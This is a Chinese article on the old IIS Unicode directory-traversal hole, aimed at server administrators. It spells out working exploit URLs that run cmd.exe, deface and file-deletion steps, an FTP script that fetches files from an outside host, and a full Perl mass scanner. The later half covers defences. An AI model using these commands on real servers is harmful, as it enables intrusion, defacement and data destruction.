[摘要]我本来没有写这篇文章的打算,只是令人遗憾的是,昨天我对国内的一个ip段的扫描过程中,在510台机器中居然发现有70多台主机存在着unicode漏洞!所占的比例是总数的20%!高级的农业网站,还有什么...
我本来没有写这篇文章的打算,只是令人遗憾的是,昨天我对国内的一个ip段的扫描过程中,在510台机器中居然发现有70多台主机存在着unicode漏洞!所占的比例是总数的20%!高级的农业网站,还有什么大型的软件公司,他们的主机居然还存在着如此低级的漏洞!这实在是令一个网络安全爱好者感到失望!于是,我写下此文,给那些还没醒来的管理员们看看.
unicode漏洞是最容易让入侵者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除硬盘上的数据,高手甚至获取administrator权限!
漏洞自去年10月份公布至今一年有余,居然国内还有这么多的服务器存在着该漏洞!湖北某个公司的主页被人黑了两次,我给管理员发了多次email通知他们修补漏洞,他们也没有行动!管理员们居然是如此的不重视!
下面我从一般的入侵手法分析如何做相应的防护对策.
(一)unicode漏洞的原理
有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解好了!
实际上就是UNICODE编码存在BUG,在UNICODE 编码中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
在NT4中/编码为%c1%9c .在英文版里:WIN2000英文版%c0%af
该漏洞是利用扩展UNICODE字符取代"/"和"\"而能利用"../"目录遍历,故在一台有unicode漏洞的服务器ip后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c盘的所有文件及目录.
(二)unicode漏洞的危害
未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知的文件。该账号在默认情况下属于Everyone 和Users组的成员,因此任何与Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆所能完成的一样。
以上部分内容摘自绿盟!
(三)unicode漏洞的攻击手法
相信谁都会!说了也白说.实在不会的话,大家可以到我的网站(http;//www.cngale.com),在首页和论坛的"黑客技术"版可以找到相关的攻击教程.这里只做大致的描述,目的是引出相应的对付策略.
1、利用漏洞修改主页
这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足感.然而黑网页也是最简单的事情.
手段描述一:入侵者先用扫描工具扫到有漏洞的主机后,在IE的地址栏里输入http://主机的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c盘的所有文件了.要查主页放在什么地方的话,可以将后边的dir+c:\换成set ,从返回的错误信息中找到PATH_TRANSLATED=c:\inetpub\wwwroot这一句(具体的路径根据具体的情况而定).其中的c:\inetpub\wwwroot就是主页所在的地方!接着入侵者为了避免系统对特殊字符的检测,故将本地机器的CMD.EXE程序复制到主机的c:\inetpub\scripts目录中,这样干起活来就容易多了!他们查到主页的名字后,就可以利用echo命令来写入信息,将内容覆盖掉主页文件就把主页给黑了.
手段描述二:除了上面的土方法外,入侵者可以将有声有色的黑页替换主页,这样黑得不是更爽吗?来看看他们是如何做到的.
先在本地硬盘建立个共享文件夹(如gale),把黑页复制进去。照样把cmd.exe拷贝到目标的c:\inetpub\scripts下,名字为gale.exe,映射本地的gale目录为目标的一个盘(如q:)
把q:里的复制到目标主机的网页目录去。覆盖对方的网页文件,最后断开映射就可以了.这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上传费事,怎么完美一点呢?请看下边.
手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。
入侵者先申请一个免费空间,把做好的黑页上传上去,然后利用echo命令在目标主机上建立一个文本文件,写上几行命令,如下:
目标主机ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间ip>文本文件名.txt
目标主机ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+密码>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+bye>>文本文件名.txt
目标主机ip/gale.exe?/c+ftp+-s:文本文件名.txt
这样入侵者就可以将黑页从另外一个空间下载到目标主机上,copy过去覆盖就可以了。这样入侵者不受地方的限制,在网吧里就可以开干!
2、删除硬盘上的东西
手段描述:有些入侵者是以破坏为乐,把一些重要的文件删除,也是一件令人头痛的事情。只要把上边的命令dir改成del就行了嘛,还用说吗?
3、建立代理服务器
也许这才是入侵者想要的,高手一点的黑客们根本不想黑主页,而是争取更高的权限。
这种方法跟“利用FTP脚本替换主页”差不多,主要是在目标主机上建立一个命令文本文件,并且你要有一个放有代理软件的空间,把代理软件下到目标上并运行即可。具体方法我就不详细说了,大家可以参考《黑客防线》里的文章。
通过以上的手段描述,足见unicode漏洞的危害之大!需要说明的是:虽然我们开始的时候得到的权限比较小,但高手们只要动动脑,是完全有可能得到主机的administrator权限的!这个漏洞不容忽视!特别是尊敬的管理员们!
(四)unicode漏洞的防护措施
说了那么多,现在该转入正题了,下面我来说说防范的措施,这也是从攻击中总结出来的一些措施,希望对大家有帮助。
1、打上最新补丁
作为一个网络管理员,为了服务器的安全,需要不停的打上最新补丁,这是比较有效的方法。但你要记住:在网络上,没有绝对的安全的,道高一尺,魔高一丈,完全相信防火墙和系统补丁往往是很愚蠢的。
2、冷酷到底,拒人于千里之外
相信到现在还利用unicode漏洞入侵的人都是些新手傻瓜们!他们没有确定的入侵目标,只是抓个扫描器来乱扫一通,扫到就黑,扫不到就哭的那种。对付扫描器扫出未知的漏洞,这是管理员的聪明之处。如何躲过扫描器的眼睛呢?请先看看下面一个用perl写的扫描器代码吧:
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts)
die "\nCould not open $hosts: $!";
while ()
{
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a <$b)
{
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}
sub second() {
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
代码摘自绿盟。
不知道大家注意到上面长长的两行$url和$url2了没有,其实只是简单的字符串处理而已。于是有以下几种方法避过扫描器的扫描:
①更改winnt目录名
安装winnt或者win2000时,缺省目录是c:\winnt.可以把这个目录名改成别的目录名,这样扫描器递交“http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\”类似的url时就会返回“找不到该页”的信息。这样大部分扫描器就成失灵了。(不知道小榕的流光能不能躲得过,但大部分的用perl写的扫描器经这样改了之后都不起作用了)。
安装前就可以这样,但是已经安装了,确实不想改winnt/2000的目录怎么办呢?那好,可以看看下边的:
②更改cmd.exe和各常用命令的名称。
更改cmd.exe的名称也可以达到同样的效果,而且更加可靠,假如你只更改winnt/win2000所在的目录名的话,别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改成只有你知道的名字,①和②结合的话更完美!
③改变web目录位置
通常主页所在的位置是在C:\InetPub\wwwroot里。在c:\inetpub里有scripts之类的目录。如果你不需要他们的话,你可以把web目录转移到别的分区,比如e:\netroot然后把C:\inetpub整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有unicode漏洞,但将web目录转移到d盘,并且d盘是不可写的,有位新手在QQ上向我抱怨说:"老大!你说的方法不行呀,我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高手只要动动脑筋,照样能黑掉!).
④停止不必要的服务
在internet服务器中,为了系统的安全,您必须停掉所有的缺省web目录的服务。然后统统删掉,只保留你所要的,以免招来后患.
⑤改变服务的端口号
在保证不影响访问率的情况下,我们可以把web服务的端口由80改成别的,比如108。因为很多还是利用unicode漏洞攻击的人一般都是新手,他们都是拿一个扫描工具扫一个ip段的,这样做就可以躲避那种扫描一段网段的攻击者的扫描了。(注意:此方法只能防止这种方式的扫描,别有用心的攻击者照样可以通过修改扫描器的插件来实行扫描的.但受攻击的可能性已经减低.)
3、限制iusr_server的权限
上面所说的措施是把攻击者拒绝于门外,如果真的很不幸,给攻击者找到门上来了,那不是死定了?不一定!攻击者利用UNICODE漏洞遍历目录时的用户权限是决定于iusr_server的权限的,而通常iusr_server是属于guest组的。我们只要进一步限制iusr_server的权限还有可能挽回(对于高手们就不一定这么说了)。
建议如下:采用NTFS格式的文件系统,将web目录外所有的访问权限设置为:用户iusr_server不可访问!注意:不要给iusr_server对web目录有写权限!理由是什么大家都很清楚!你的主页就是给这样的家伙给黑的,如果他没有写的权限,就象那台日本的主机一样,一般的新手们就难以下手了。(但是,那些确实是非写不可的地方,如:聊天室或论坛,是可以适当放开的)。
4、偷吃成功,寻找蛛丝马迹
这就是分析访问日志,一名合格的管理员,应该有经常查看日志的好习惯.日志是非常的多的,看起来很麻烦,但对于unicode漏洞的攻击,只要查看分析web服务的访问日志就可以了.扫描器的扫描和已经攻击完了的动作都会被记录下来,要注意特别留意出现的“cmd.exe”字眼.
最后,我建议:
①管理好你的admin帐户和密码.
因为现在的黑客新手们虽然是冲着unicode漏洞而来,但他们的师父们往往推荐他们用小榕的流光,这是一个强大的漏洞扫描工具.在扫描的过程中,脆弱的管理员帐户和密码(如:帐户:admin 密码:1234)很容易被猜中,给他们带来了以外的收获.无论怎么强大,流光也是靠黑客字典来暴力破解的,只要你密码复杂就可以避免猜中.长度最好超过8位,大小写和复杂字符同时出现,如:g&A$l#e7 这样的密码就很难被猜中,当然,也许我这是废话,但我曾经用流光扫过一个国家级的某企业网,他们的管理员帐户和密码居然是administrator:1234 !由于是国家的网站,我只是一个网络安全爱好者,所以没有干什么,只给他们的管理员去信.
②经常更改管理员的密码.
保证只有你自己一个用户出现在管理员组,经常检查有没有可疑的用户.一般的新手都是学着别人教的招数,在管理员组里增加一个用户,留作后门.从入侵的角度来说,这是很危险的做法,但作为管理员不可能没有发现的,(那要看管理员的素质如何了).
以上是我的一点心得体会,只是想提醒管理员们,道高一尺,魔高一丈,没有绝对的安全,黑的不仅仅是一个网页,小小的一点漏洞足以给您的企业造成巨大的损失!希望管理员们重视!
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……